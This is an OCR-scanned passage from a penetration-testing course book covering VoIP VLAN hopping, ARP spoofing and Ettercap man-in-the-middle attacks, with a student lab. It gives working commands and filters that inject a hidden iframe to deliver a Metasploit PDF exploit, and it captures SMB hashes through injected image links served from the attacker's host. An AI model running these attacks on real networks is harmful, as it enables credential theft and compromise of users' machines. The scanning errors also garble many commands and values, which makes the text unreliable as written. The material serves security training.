port ID: FastEthernetd 13 Your switch port
+ Capabilities

= protocol Helle: Cluster Management

+ VTP Management Domain: Corpnet-vip [
@ Narive wLAN: 100 S Your native VLAN# ]
e pupliex: rull

= VOLP ViAKW Reply: 200 Gt \[eyic AN # '

@ Trust Bitmap: 0x00

& untrusted port Cos: Ox00

= Mandgenent addresses

‘rofile Defauls

Cisco Discovery Protocol

The traffic shown on this slide is from a Cisco Discovery Protocol (CDP) packet, filtered using the
Wireshark "cdp” filter directive. Note that in the two packets shown on this slide, the packet interval
is 60 seconds, the default timer interval for Cisco switches to send CDP packets.

Inspecting the payload of the CDP packet reveals several uscful configuration details about the
network, including:

e Device ID: The hostname of the Cisco switch.

= Software Version: The version of 10S used.

e Platform: The switch model number.,

= Port ID: The port designation that the station is connected to.

* Native VLAN: The native VLAN used by the workstation. This is the intended port for use
by the workstation connected to the phone, or to the switch directly.

* VoIP VLAN Reply: The voice VLAN intended for usc by Cisco VolP devices.

By inspecting the CDP packet, we can identify the native VLAN number and the VoIP VLAN
number, which is sufficient information to allow an attacker to hop to a diffcrent VLAN.
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Accessing Cisco VoIP VLAN

e Use the vconfig utility to add an 802.1Q VLAN
to the local interface
o Lack of CDP cloaks vulnerability with obscurity

— Attacker must learn VLAN#
— Maximum 4094 VLANSs; can be brute-forced

# dhelient ethO

bound to 10.10.10.115 -- renewal in 39305 seconds.
# modprobe 8021g

# veconfig add eth0 200

Added YLAN with VID == 200 ta IF -:ethi:-
# dhclient eth0.200
bound to 10.10.200.2 -- renewal in 39133 seconds.

\dvanced Penerration Testng, Exploir Writng, and Frhical Hacking

Accessing Cisco VoIP VILAN

Returning to the veonfig utility, knowledge of the VoIP VLAN number is all that is necessary to
create a new sub-interface that sends 802.1Q encapsulated traffic to the switch, mirroring the
behavior of the Cisco VoIP phone when used to connect a downstream PC. By creating the sub-
interface, an attacker can access the voice VLAN with an opportunity to manipulate other VolP
phones used in the organization.

Note that we relied on the presence of CDP traffic to identify the voice VLAN. It is possible to
configure a Cisco VoIP phone to apply an 802.1Q header on all PC traffic based on a static VLAN
designation, obviating the need for the CDP protocol. This represents a sccurity-through-obscurity
obstacle for an attacker. Since there are only 4094 possible VLAN numbers, the attacker can simply
brute-force the voice VLAN number using a shell script with the veonfig utility, watching for any
network traffic on the created interface for several seconds before destroying the interface. Further,
this process could be implemented in parallel, testing multiple VLAN "guesses" at the same time,
only limited by the CPU and memory of the attacker's system.
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voiphopper

e Automates voice VLAN hopping attack
— Listens for CDP to extract voice VLAN#
— Creates interface, requests DHCP address

e Includes attack options for Cisco, Avaya
and Nortel switches

# ./voiphopper -c¢ 0 -i eth0
VoIF Hopper 2.00 Running in CDPP Sniff Maode
Capturing CDF Packsts on ethl
Captured IEEE B02.%, CDP Packst of 371 bytes
Discovered YoIP VL&N: 200
Added VLAN 200 to Interface ethi
Lurrent MAC: fl0:rcoigeiiZzab
EBttempting dhop reguest for new interface ethd.200
VoIFP Hopper dhcp client: received IP address for eth0.260: 10.10.200.2

\dvanced Penetration lh”fﬁlg_[.klﬁ'é|khlﬁHﬂii and Frhical Hacking

voiphopper

The tool voiphopper automates the process of watching for CDP traffic to identify the voice VLAN
number, creating the necessary sub-interface and launches a DHCP client to obtain an IP address.
Available at http://voiphopper.sf.net, voiphopper requires that we specify the switch architecture with
the "-¢" argument and the connected interface name with "-i". Voiphopper also supports a similar
attach technique against other switch vendors as well, including Avaya and Nortel devices.

In order to use voiphopper, you must install the DHCP client utility "dhclient". Voiphopper will not
attempt to create the VLAN sub-interface if the dhclicent utility is missing.
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Manipulating the Network

SANS SEC660

,and bithical Hacking

Manipulating the Network
Next we'll look at various techniques to manipulate network protocols, cstablishing a position as a
man-in-the-middle attacker, targeting ARP, HSRP, VRRP and common routing protocols.
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Network Manipulation

e With expanded network access, we
can focus on manipulating traffic
e Man in the Middle (MITM) opens up

many attack opportunities
—Some defenses against MITM force us
to seek less-common techniques

Network manipulation is the opportunity to observe
sensitive data and deliver attacks against targets.

Network Manipulation

With expanding network access through NAC bypass and VLAN hopping techniques, we can focus
on manipulating the network. A commonly desirable technique is to manipulate the network to
create a Man In The Middle (MITM) opportunity, forcing the delivery of traffic to go through the
attacker before it reaches its intended destination.

Several opportunities are available to implement MITM attacks, though many networks will
implement defenses against more common attack techniques, forcing us to seek less-common
techniques to be successful.

Through network manipulation, we create the opportunity to obscrve data in the network, including

sensitive information that can yicld an attacker cscalated network or system access. Next we'll
explore this concept and several techniques supporting network manipulation.
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LAN Manipulation

e Manipulating other clients on the LAN (or
VLAN) as the attacker
— Become the preferred default gateway for clients
e Multiple tools: arpspoof, Cain & Abel, Ettercap
- We'll focus on Ettercap for advanced features

— Command-line access for greatest compatibility
with target systems

ot Wrinng, and Frhical Hacking

LAN Manipulation

First we'll focus on manipulating devices on the same LAN or VLAN as the attacker. This is the
most common implementation of MITM attacks, manipulating other clients into believing that we are
the default gateway system and, therefore, becoming a traffic bridging device on the network.
Multiple tools are available to implement these attacks including arpspoof, Cain & Abcl, and
Ettercap.

Duec to its custom functionality, advanced features and attractive command-line interface (allowing

us to mount an attack without a tty on the victim), we'll focus on leveraging Ettercap for LAN
manipulation attacks.
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ARP Spoofing

Internal Network

1.Attacker enumerates hosts on the
network (multiple ARP requests or other
discovery techniques)

2.Attacker sends a LAN workstation an ARP
reply indicating he is the default gateway

3.Attacker sends the default gateway an
ARP reply indicating he is the LAN
workstation

4.All traffic originating from the workstation
or upstream networks bridged through
the default gateway are delivered to the
attacker, who forwards packet after
inspection/logging.

- Default
_ Gateway

\dvanced Penetration Testing, Exploit Writing, and rhical Hacking

ARP Spoofing

ARP spoofing is a common technique used to manipulate a switched network, allowing an attacker
to cavesdrop on all or selected LAN activity by cstablishing a MITM attack. With access to the
LAN, the attacker cnumerates hosts on the network to learn ARP address and IP address information.
This is commonly donc with a flood of ARP request messages, but can also be done with ICMP
Echo Request messages, or by passively observing broadcast or multicast information from clicnts.

Once the attacker has a list of LAN devices, it begins issuing ARP Reply messages to the uplink
connection of the MITM position, commonly the default gateway. Each ARP reply message is
faked, disclosing to the default gateway that the attacker's MAC address is the address that should be
associated with the network node being impersonated.

After manipulating the default gateway, the attacker repeats the process in reverse, this time telling
each network node that he is the default gateway. Once complete, all the network traffic will bridge
to the attacker, regardless of its final destination. After inspecting and possibly manipulating the
traffic, the attacker will forward the frames to the legitimate device. Periodically, the attacker will
re-issuc the ARP Response advertisements to maintain the MITM attack, overriding any legitimate
ARP activity from legitimate hosts.

103



Eie Ede Yiew Go Caphwe Anshoe Statitics Telephony Iock Help

Source
00:18:8b:ad:

No. Time
522 19.813224

Destination

ie? D0:1f:f3:01:e3:

14:

52 823561 00:18:8b:ad:2aic? | 00: LOf:
BE - a-ai-pd:2a:c7 00:06:dc:42:18
" Attacker says hd:2a:c7  00:21:5¢c:7e:70
i ad:2a:c7  00:06:dc:42:18
172.16.0.1, I am |[d:2a:c7  00:1f:3:01:e3
hd:2a:c7  00:06:dc:42:18
the MAC fO!'“ ad:2a:c7  00:1d:ba:d5:c¢3
17216.0111 hd:2a:c 00;:06:dc:42:18

# Frame 534: 42 bytes on wire (336 bits), 42 bytes
« Ethernet IT, Src: 00:18:8b:ad:2a:c7 (00:18:8b:ad:
- address Resolution Protocol (reply)

Hardware type: Ethernet (0x0001)

Protocol type: IP (OxQ800)

Hardware size: &

Protocol size: 4

Opcode; reply (0x0002)

[1s gratuitous: False]

Sender MAC address: 00:18:8b:ad:2a:¢7 (00:18:8b

Sender IP address: 172.16.0.1 (172.16.0.1)

Target MAC address: 00:06:dc:42:18:24 (00:06:dc

Target IP address: 172.16,0.106 (172,.16.0,106)

ARP Spoofing Examp

Budee 2Rx@a neraT e BE caan a8y &

:30

172.16.0.
124 ARP 172.16.0.113 is at 00:18:8b:ad:2a:0
(3 ARP 172.16.0.106 i T
124 ARP 172.16,0.111 i Attacker says
142 ARP 172.16.0.106 i "
24 ARP 172.16.0.101 i 172'16'0'111’ I
220 ame 172.16.0.106 i4  am the MAC for
:24 ARP 172.16.0.3 is

le
T W TR R T o G|

Protocol Info

42  ARP 172.16.0.3 is at 00:18:8b:ad:2a:c7

P 111 s at 00:18:8b:ad:2a

172.16.0.1"

captured (336 bits) -
2a:c?), Dst: 00:08:dc:42:18:24 (00:06:dc:42:18:24)

rad:2a:cT)

:42:18:24)

ARP Spoofing Example

The Wireshark capture shown in this slide was taken during an ARP spoofing attack. The two
marked frames (frames 523 and 524) summarize the ARP response activity from the attacker at

MAC address 00:18:8b:ad:2a:c7.

Both frames arc sent by the attacker, first telling the default gateway (at 00:23:4d:da:22:23) that he is
the node at 172.16.0.111. Next, the attacker tells the host at 172.16.0.111 (00:1£:£3:01:¢3:42) that he

is the default gateway at 172.16.0.1.
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Victim ARP Table

C:\Users\Joshua Wright>ARP -A
Interface: 172.16.0.113 -— Bxc

Internet fiddress Physical Address Type

172.16.0.1 00-19-7d-1b-03-fa dynamic
172.16.6.3 00-19-7d-1b-0B3-fa dynamic
172.16.0.101 00-19-7d-1b-03-fa dynamic
172.16.6.163 0-19-7e-89-th-al dynamic
172.16.8.106 00-19-7d-1b-03-fa dynamic
172.16.6,111 00-19-7d-1b-A3-ta dynamic
172.16.08.112 00-19-7d-1b-03-fa dynamic
172.16.6.114 00-19-7d-1b-083-fa dynamic
172.16.8.115 00-19-7d-1b-03-fa dynamic
172.16.0.117 00-19-7d-1b-03-fa dunamic
172. fE-ff-ff-ff-ff-ff static
224.0.0. 01-60-5e-00-08-16 static
224,60, A1 -00-5e-06-00-fh static
224.9.0. 01-00-5e-00-00-fc static
224 @1 -al-5Se-06-00-fd static
239, 01-80-5e-7f-ff-fa static
255, ff-ftf-ff-ff-ff-ff static

Victim ARP Table

This slide demonstrates what the ARP table will look likc on a victim system during an ARP
poisoning attack. For several nodes on the 172.16.0.0/24 network, the IP address resolves to the
physical address 00:19:7d:1b:03:fa. This MAC address is the attacker, manipulating the nctwork to
creatc a MITM attack.

105



Ettercap Options

o

Launch the text-only interface

-M [METHOD:ARGS]

Become MITM using the specified technique

-w [LIBPCAP FILE]

Log captured pcap data

o

Do not perform an initial ARP scan of the network
-F [FILTER FILE]

Execute the specified filter

=i

Perform DNS name resolution

-m [TEXT FILE]

Log messages including credential information to a file

)

nerration Tesang, Exple iing, and Ethical Hacking

Ettercap Options

Ettercap is an advanced network manipulation and password sniffing tool. The syntax of Ettercap is
to specify one or more options following the executable, followed by two target designators
representing the first and second group of devices that Ettercap should become MITM for. Ettercap
supports multiple interfaces like Yersinia, though we'll focus on the command-line interface for
maximum flexibility in using this tool.

Some commonly uscd options for Ettercap are as follows:

e -T -- Launch Ettercap with the text-only interface

° -M[METHOD:ARGS] -- Launch Ettercap and become MITM using the specified method
and arguments

e -w [LIBPCAP FILE] -- Log all packets bridged through Ettercap to the specified file in
libpcap format

e -z -- By default, Ettercap performs a scan of all hosts in the current scgment when it starts;
the "-z" argument suppresses this behavior, instead rclying on multicast and broadcast traffic
to discover other network nodes

* -F [FILTER FILE] -- Exccute the specified filter file to manipulate traffic bridged through
Ettercap

* -d -- Perform DNS name resolution for all hosts; this is off by default

* -m [TEXT FILE] -- Log all messages generated by Ettercap to the specified file, including
usernames and passwords observed on the network
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Ettercap Target Designation

1# ettercap [OPTIONS] [TARGET1] [TARGET2]

e Target designation is MAC/IP(s)/Port(s)
— Blank fields indicate all: "//"

e MAC addresses specified in colon-separated
bytes

e Multiple IP addresses can be specified with
byte ranges, byte lists or address lists
- 10.10.10.1-252,254;10.10.10.10

e Ports ranges specified with dash or comma

i+ 1 Fehirn } 3T
une, and i .i] II‘Ii. Riny

Ettercap Target Designation

When specifying the targets for an Ettercap MITM attack, the syntax for cach target block is
[MAC]/[IP Addresses]/[PORTS] where any or all of the parameters can be blank (e.g. "//").
The first and second target designations allow us to select one or more hosts to filter traffic coming
from one or more hosts to onc or more hosts (bi-directional manipulation).

When specifying multiple hosts by MAC addresses, separate cach colon-delimited address with a
comma or a semi-colon. Multiple IP addresses, however, use a comma to specify a range within a
single octet; separate multiplc IP addresscs with a semi-colon. Port ranges work similarly to 1P
address ranges, using a comma to specify multiple ports while a dash specifies a range of ports.
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Simple Ettercap Usage

Ettercap is e

# ettercap -T -q -M arp:remote // // interactive, press "h"
etlercap 0.8.0 copyright 2001-2013 Ettercap Developmen to access options
Listening on ethd... {Ethernet) after |0ading

ethd > O0:18: 8B A0 2R C7 10 10 18319 T A AR
Randomizing 25% hosts for scanning...
Scanning the whole netmask for 255 hosts...
I smm s s s e e e | (00,00 %

B hosts agdded to the hosts list...
ARP poisoning victims:

GBOUP 1 : ANY (all the hosts in the list)

Press "g" to quit
Ettercap. DO NOT

SNMP @ 10.10.10.4:161 —> COMMUNITY: public INEQ: SHMP vl SIGKILL Ettercap!

GROUE 2 1 ANY ({(2ll the hosts in Lhe list)

\dvanced Penetration Testng, | _'\]\.'ln it Wrinne, and Fthical Hacking

Simple Ettercap Usage

Ettercap supports several methods for implementing MITM attacks, including ARP spoofing. As root,
invoking Ettercap with the "-T" argument starts Ettercap in text-mode. Adding the "-q" argument tells
Ettercap to subdue its output (quiet mode). The "-M" argument tells Ettercap which MITM technique
to use; supplying the method "arp:remote” instructs Ettercap to perform ARP spoofing, allowing the
attacker to eavesdrop and manipulate both LAN and remote network traffic. Finally, the two empty
target designations ("// //") tell Ettercap to become MITM for all nodes on the network.

At startup, Ettercap will enumerate all the nodes on the network with ARP Response packets, then will
advertisc to all discovered hosts that it is the default gateway and to the default gateway that it is all
hosts, establishing the MITM attack. While periodically maintaining the MITM attack following any
legitimate ARP messages that conflict with the manipulated network, Ettercap will perform password
sniffing, displaying the output on the screen (as in the case of the SNMP community string, shown in
this slide).

While Ettercap is running, we can change settings or implement additional attacks interactively.
Pressing "h" while running Ettercap will display a help menu, describing the context-sensitive
navigation options.

It is important to note that you should never issue a SIGKILL message to Ettercap (e.g. "killall -9
cttercap” or "kill -9 “pidof ettercap™). Press "q" to quit Ettercap, which will causc it to re-ARP all the
nodes on the nctwork with the correct MAC address information, taking it out of the loop as the
MITM. Failure to quit Ettcrcap gracefully will likely result in a DoS situation, since the attacker's

system will no longer bridge packets to the correct targets.
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Ettercap and VMware Bug

e Users have reported the inability to
use ARP spoofing in a VM guest
—Other have great success

e Problem seems to be related to
VMware network bridging stack

e Best to rely on native OS for advanced
network attacks
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Ettercap and VMware Bug

In testing, some uscrs have reported that they arc unable to successfully complete an ARP spoofing
man-in-the-middle attack using VMware with a Linux guest OS virtual machine running Ettercap.
While inconsistent, the problem appears to be related to how VMware implements the network
bridging stack with some wired network cards.

In general, it's a good idca to leverage a native OS for advanced network attacks since you will
climinate the overhead of the virtualization layer and achicve greater compatibility with many attack
tools. If you're not ready to replace your native OS environment with Linux, consider using a
bootable USB drive for the duration of the attack that requires a tool such as Ettercap, or use a USB
Ethernet interface that can be accessed directly in the Linux environment without the VMware
networking stack.
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Power of Ettercap

e Password sniffing is great
— Telnet, FTP, POP3, SSH, SMB, HTTP, MySQL,
IMAP, VNC, SNMP
— And other protocols you probably don't care
about
e Plugins are cool too
— Spoof DNS responses, SMB downgrade, etc.

e Real opportunity is in Ettercap filters!
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Power of Ettercap

Ettercap is a powerful tool that is immediately useful in many penetration tests. For cxample,
Ettercap supports a varicty of protocols for password sniffing attacks with a long list of common
protocols and an even longer list of uncommon protocols (such as passwords for the popular Half
Life and Quake gaming protocols).

Ettercap also includes support for supplemental functionality through plugins, including the ability to
perform DNS responses, attempt to downgrade Windows SMB authentication and more.

A commonly overlooked feature of Ettercap is the ability to create custom filters to manipulate

network traffic as it is bridged through the attacker. This is a tremendously uscful feature for
dclivering various attacks on networked devices.
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Ettercap Filters

Simple language to describe traffic to match
Replace arbitrary content as you see fit
— Plaintext protocols, or traffic decrypted by Ettercap

Script source compiled with etterfilter

—etterfilter myfilter.filter -o
myfilter.ef

— Load filter with Ettercap using "-F myfilter.ef"
Full syntax documented in "man etterfilter"

Advanced Penetration Testing, Exploit Writng, and Fhical Hacking

Ettercap Filters

Ettercap includes a simple language, which is used to build Ettercap filters, describing the traffic you
want to match, and substituting it with any content you scc fit. This fecature is primarily intended for
use with plaintext protocols, but it can also be used with encrypted protocols that are decrypted by
Ettercap (such as SSHv1 and SSL traffic).

Scripts in source form are compiled or encoded into a binary form that can be passed to Ettercap
using the errerfilter utility, typically with a ".ef” filename extension. When running Ettercap, we can
specify the filter to use with the "-F [FILTERFILE]" argument.

Next we'll look at the syntax of an Ettercap filter file; for complete documentation, see the manual
page for the etterfilter command ("man etterfilter").
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HTML IMG Replacement

# Watch outbound HTTP requests, replacing "Rccept-Encoding"” line to
# prevent the responding server from gzip'ing response

if (ip.proto == TCP && tcp.dst == BO) {
if (search(DATA.data, "Accept-Encoding"))} {
replace ("Accept-Encoding", "Accept-RBubbish!");

# Feplacement string is same length as original string
# Needed to maintain Content-Lenath accuracy
msg ("zapped Accept-Encoding!\n"):
}
}
# For HITP responses, replace all "img src=" tags with our own tag,
# referencing a file on our server instead. This is case-sensitive,

# so additional rules are needed for "IMG SRCY, "img alt=", etc.
1f (ip.proto == TCP && tcp.src == BO} {

replace ("img src=", "img
sre=\"http://www.willhackforsushi.com/images/whfs-sign.jpgh\" ");

}

Advanced Penerration Testing, Exploit Writing, and Erhical Hacking

HTML IMG Replacement
The script on this slide is a sample Ettercap filter, designed to implement two filter actions.
Comments are added for clarity, following the pound ("#") symbol.

First, the filter starts an IF clause, matching on traffic where the "ip.proto" field is TCP and the
"tsp.dst” port is 80. When this IF statement matches, the script continues with a second IF statement,
this time searching through the data payload "DATA.data" for the string "Accept-Encoding". If this
second IF statement matches, then the script modified the data payload string "Accept-Encoding" to
"Accept-Rubbish!", effectively preventing the outbound web browser from telling the HTTP server
that it accepts any content other than text/html. With this technique, the attacker has a greater
opportunity to manipulate plaintext data from the web server, avoiding alternate delivery
mechanisms for the content such as compressing the data. After replacing the specified content, the
filter logs a message on the Ettercap console, "zapped Accept-Encoding!\n".

Next, a sccond filter is also specified in this script, this time searching for similar TCP traffic, this
time originating from TCP source port 80 ("tcp.src"). When this condition matches, Ettercap will
replace the content "img src=" with "img src=\"http://www.willhackforsushi.com/images/whfs-
sign.jpg\"", effectively replacing all image references with the logo from WillHackForSushi.com.
Since the URL needs to embed double-quotes, the quotes themselves nced to be quoted using a
lcading backslash, as shown.

To compile this filter for use with Ettercap, use the etterfilter utility, as shown below (the output has
been trimmed for space):
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$ etterfilter whfs.filter -o whfs.ef

etterfilter 0.8.0 copyright 2001-2013 Ettercap Development Team
Parsing source file 'whfs.filter' done.

Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'whfs.ef' done.

-> Script encoded into 16 instructions.
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Ettercap Filter Manipulation

| Default GW imy

1. Victim sends HTTP request to
www.google.com

Y ) 2. Attacker intercepts request through ARP
— poisoning, replaces "Accept-Encoding” with

"Accept-Rubbish!", forwards frame

2 3. Google receives request, lack of "Accept-
Encoding” forces "text/htm|" encoding deliver
back to attacker.

4. Attacker replaces all instances of "<img src"
|| with modified content, forwards frame
« || 5. Victim receives modified content in browser.

Gaoge Bearth [ Freokog Lucks

Ettercap Filter Manipulation
The illustration on this slide demonstrates how the Ettercap filter on the previous slide would be used
to manipulate a clicnt browsing the web:

1,

2,

5.

The victim sends a HTTP request to www.googlc.com; with the attacker being MITM, the
traffic gets routed through Ettercap.

Ettercap intercepts the HTTP GET request and replaces the Accept-Encoding content with
Accept-Rubbish! before forwarding the frame to the default gateway.

When Google receives the modified GET request, it determines that the client does not support
any encoding other than text/html. Instead of delivering the commonplace gzip-encoded
responsc, Google sends a plaintext response.

Ettercap receives the Google response in plaintext format and exccutes the 2™ filter condition,
replacing all "<img src" references to include the modified image file before delivering it to the
vietim.

The victim receives the modified content in their browser, as shown.

In this example, we've modified the default image delivered by Google. Next, we'll leverage this
same technique to exploit client systems.
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Browser Caching

e Browsers will used cached content to prevent download
of duplicate files

e Browser sends If-Modified-Since header for each GET
request
— Server responds with HTTP/304 "Not Modified" if the content

is not new

— Prevents us from injecting our replacement content

e Solution: Modify our Etterfilter to remove outbound "If-
Modified-Since" headers

| if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "If-Modified-Since®)) {

| replace ("If-Modified-Since", "If-PACified-Since"):
‘ msg ("zapped If-Modified-Sincei\n");

Advanced Penetration Testng, Exploit Wriang, and Fducal Hacking

Browser Caching

A common problem when manipulating HTTP traffic for a victim is dcaling with content alrcady
cached by the browser. Web browsers will usc cached content when submitting a HTTP GET
rcquest by including the If-Modificd-Since header in the GET request content with the
date/timestamp of the file being requested. The server checks to see if the local file is newer than the
date/timestamp specified by the client; if it is not newer, the server returns HTTP/304 "Not
Modified", otherwisc the server delivers the requested file.

When attempting to manipulate specific content, such as an image file on a server, you may not
obscrve the response from the server delivering the content unless the file is newer than the
previously downloaded content. To solve this problem we can add to our Etterfilter content,
replacing the "If-Modified-Since" string with alternate content. When the web scrver gets this
modified HTTP request, it will always deliver the content to the victim, since it doesn't recognize
that the browser already has the content. By adding this to the Etterfilter, the victim's web browser
gets slower (since all content is delivered instead of using cached downloads), but it allows us to
maximize the effectiveness of our Etterfilter scripts.
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PDF Exploit Delivery

o Ettercap filters allow us to easily deliver malicious
files to the target

msf > use exploit/windows/fileformat/adobe cooltype sing

msf expleit {adobe cooltype sing) > set PAYLOAD windows/adduser
msi explecit (adebe cooltype sing) set USER msf

msf expleit (adcbe cooltype sing) set PASS moo

msf exploit {(adobe cooltype sing) set OUTPUTPATH /var/www

msf exploit (adobe cooltype sing) set FILENAME weloveadobe.pdf
msf exploit{adebe cooltype sing) exploit

WO

VOV

# cat weloveadobe.filter
if ({ip.proto == TCP && tcp.src == 80) {
$ iframe will be invisible or nearly so in most browsers
replace ("<head>", "<headr<iframe
sro=\"http://wwuw.willhackforsushi.com/weloveadobe.pdf\" width=\"0%\"
height=\"0%\" align=\"right\"></iframe>");
t
# etterfilter weloveadobe.filter -o weloveadobe.ef
# ettercap -Tg -M arp:remote -F weloveadobe.ef // //

\
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PDF Exploit Delivery

Ettercap filters allow us to modify any content before delivering it to the victim, opening up a wide
variety of exploitation techniques. For example, consider onc of the many PDF file exploits
available in Metasploit such as the adobe_cooltype_sing exploit shown in this slide. To deliver this
malicious PDF to a victim, we can create a simple Ettercap filter with the following content:

if (ip.proto == TCP && tcp.src == 80) {
# iframe will be invisible or nearly so in most browsers
replace ("<head>", "<head><iframe
src=\"http://www.willhackforsushi.com/weloveadobe.pdf\"
width=\"0%\" height=\"0%\" align=\"right\"></iframe>");
}

Since the "<head>" tag will be present in almost all web pages, we use this as our scarch-and-replace
target. We retain the presence of the "<hcad>" tag, but add a zero-width and height iframe,
referencing the malicious PDF file. If Adobe Reader is installed on the victim, it will automatically
launch and open the malicious PDF, invisible or ncarly invisiblc to the end-user (depending on the
browscr).
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SMB Capture

o Credential compromise with SMB server
impersonation, credential

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set PWFILE /tmp/cred-cainformat.pwl
msf auxiliary(smb) > exploit
[*] Server started.
msf auxiliary(smb) > set SRVPORT 445
msf auxiliary(smb) > exploit
[*] Server started,.

if (ip.prote == TCP && tcp.src == 80) |
replace ("<head>",
"<head> <img src=\"\\\\10.10.10.10\\share\\pixel.gif\">");
}

# ettercap -TqgP smb down -M arp:remote -F smbcapture.ef //
/10.10.10.10/

[*] Received 1
LMHAS
NTHASH:

2002 260

10.10.125:1891 BOMATIN\USER

2 2 ; 5b75e982144b59bb%f836ec26200
41a0caBe003a4b68daB3ef9e72514b2e OS:Wincdows
IM:Windows 200Z 5.1

e e L e L g ey e L L L E Y L Y YT U ¥ e

SMB Capture

Another opportunity to leverage Ettercap is to insert an IMG reference that points to a UNC
filesystem path. First we start Metasploit on the attacker's system, loading the SMB capture module
on port 139 (default) and again on port 445, logging any authentication attempts to a Windows

Password List file (pwl). PWL cracking is a supported feature on many tools, including Cain & Abel
and John the Ripper.

With Metasploit waiting to log an authentication attempt, we create a simple Ettercap filter, forcing
Internct Explorer to retricve an image from the attacker's UNC file share. After compiling the filter
(not shown), we launch Ettercap with our filter, redirecting all traffic through the attacker at
10.10.10.10 and lcveraging the Ettercap smb_down plugin, which will attempt to force devices to use
legacy authentication protocols.

After waiting for a few scconds, a client is caught in our filter and attempts to authenticate to the
Metasploit SMB capture module, disclosing their hashed authentication credentials.
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Other Filter Verbs

search(where, what): Search the "where" for "what"; "where" can be
DATA.data (TCP or UDP payload) or DECODED.data (decrypted packet, if
available). Search for binary strings by quoting with "\x" (e.g. "\x4a\x57").

regex{where, regex): Replacement for search() where search criteria is a
regular expression.

replace(what, with): Replace content in "what" using the parameter in
"with" using DATA.data or DECODED.data.

drop(): Drop the current packet.

inject(filename): Inject the contents of the named file as a valid TCP or
UDP payload; commonly follows "drop()".

kill(): Terminate the connection with a TCP RST or ICMP Port Unreachable
message.

exec(command): Execute the filesystem command specified.

exit(): Stops the filter execution for the current packet.
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Other Filter Verbs
The Ettercap filter language is simple, but it provides sufficient flexibility to implement a number of
attacks. Other Ettercap filter verbs that are useful when developing filters arc shown on this slide.
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Leveraging Ettercap Filters

Using a MITM technique, capture data and
evaluate manipulation opportunities

— Exploit delivery with malformed files

— Credential capture with redirection

— Manipulating POST and GET content

Build a filter, keeping it simple

— Practice your filter on a local target when possible
Limit scope with target designation by MAC or IP
address

Capture and evaluate attack to determine success
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Leveraging Ettercap Filters

With a little creativity, Ettcercap filters can be extremely uscful in a penetration test. After becoming
MITM, start a packet capturc to log all data (or launch Ettercap with the "-w [PCAPFILE]"
argument.) Evaluate the captured data on the network to identify the protocols in usc and identify
potential attack avenues, such as the methods we looked at in the previous slides, as well as other
malformed file exploits, credential capture or redirccting authentication and manipulating HTTP
POST and GET requests.

When building an Ettercap filter, try to keep the filter itself simple. Always practice the use of your
filter on a lab network locally before attempting to cxccute it against a live network. If the filter is
too complex and the network is busy, Ettercap will drop packets, which will have a significant
throughput impact on end-users.

Whenever possible, limit the scope of your attack by specifying target destination MAC or IP
addresses. While it is simple to include all users in the Ettercap MITM attack, it may violate the
terms of your scope for the assessment if other workstations are attacked (such as consultant
machines, or systems specifically excluded from the scope). Also, limiting the number of clients in
the attack will reduce the amount of traffic that must be handled by Ettercap, reducing the load on the
attacker's CPU.

When exccuting an attack using Ettercap, get in the habit of adding the "-w filename.pcap" option,
replacing filename with a description of your attack. This will cause Ettercap to log the libpcap
traffic traversing the system, giving you an opportunity to cvaluate the attack to determine if it was
successful, or otherwisc cvaluate the impact of a failed exploit.
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Exercise — Ettercap MITM (1)

e Launch Ettercap to create an ARP
MITM attack against the victim

—Capture data on switched network
e Create filter to manipulate HTTP traffic

DO NOT use Ettercap to target more than your
intended victim. The two host arguments should
always include the victim and target IP address.

Exercise - Ettercap MITM (1)
In this exercise we'll use Ettercap to create an ARP MITM attack against a victim system, capturing

the target's network traffic even though we are operating on a switched network. We'll extend this
MITM attack to manipulate HTTP traffic using custom Ettercap filters as well.

Please do not use Ettercap to target more than your intended victim system. Each time you run

Ettercap, you will specify one or more hosts in both the target arguments. Do not run Ettercap in
MITM mode with an empty target designation (e.g. Do Not Use "//").
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Exercise — Ettercap MITM (2)

e Select a victim system
—Windows guest, or native host OS
e Kali Linux as attacker system

e Follow the lab steps as victim or
attacker
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Exercise - Ettercap MITM (2)
For this lab exercise you will use the Kali Linux VM as the attacker, and a second Windows system
as a victim. The Windows victim can be a second gucst system, or your native OS.

The lab steps that nced to be exccuted as the attacker (using Kali Linux) or as the guest (using
Windows) are marked in the top-left corner of the slide.
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Attacker Step

Exercise — Ettercap MITM (3)

e Launch Ettercap with ARP MITM attack

— Specify victim as first target, web server
as the second target

Specify victim  IP address of
IP here web server

% ettercap -TgM arp:remote /XX.XX.XX.XX/ /10.10.10.70/
ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team

Listening on eth0... (Ethernet)

athl > 00:0C:29:5D:A9:EE 10.10.75.1 255.255.,0:0

rione, and Erhical Hacking

Exercise - Ettercap MITM (3) — Attacker Step

Use Ettercap to create an ARP MITM attack as shown on this slide. In the first target designation,
identify the victim IP address (replacing "XX. XX . XX.XX" with the Windows victim IP address).
The 2™ argument will be "/10.10.10.70/", creating a MITM between the victim and the lab web
scrver used for this exercisc.
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Victim Step

Exercise — Ettercap MITM (4)

e Browse to an internal site:
http://kittenwar.sec660.org

» Observe simple page content

[ ot Wiy Thae-Cutent Ein Whed ["':l b L A ARt L s el _ﬂ._w@__m e
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Exercise - Ettercap MITM (4) -- Victim Step
As the victim, browse to the internal web site at http://kittenwar.sec660.org using Internct Explorer
or your preferred web browser. Notice the simple page content displayed.
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Attacker Step

Exercise — Ettercap MITM (5)

e Examine connection list by pressing "c" in
Ettercap window

e Note the observed activity between victim
and web server

c

Connections list:
1¢.10.10,692:49928 - 224,0,0.252:5355 U idle i
10.10.10.69:58274 - 224.0.0.252:5355 U idle Txs 338
10.10,10.69:57848 - 224.0.0.252:5355 U idle By A8
10, 10. 10469 58074 - 10.10.,10,70:80 T active TX: 5288
EOLG 1069 5B TS~ 10.10.10.70:80 T active TX: Z668
10.10.10.6%:58076 - 10.16.106.70:80 T active TX: 891
10.10.10.69:58077 = 10.1G,10,70:80 T active TX: 891
10.10.10.69:58078 - 10.10.10.70:80 T active TX: 881
10.10.10.86%: 58079 - 10.10.10.70:80 T active TX: B81

1

thical Hacking
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Exercise - Ettercap MITM (5) -- Attacker Step

With the victim having visited the target website, Ettercap will have recorded traffic from the victim.
In the Ettercap window, press "c" to get a connection list, identifying the source and destination IP
addresses and ports, as well as the protocol (U for UDP, T for TCP), status and number of bytes
transmitted.
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Attacker Step

Exercise — Ettercap MITM (6)

e Terminate Ettercap gracefully by
pressing "q"

9
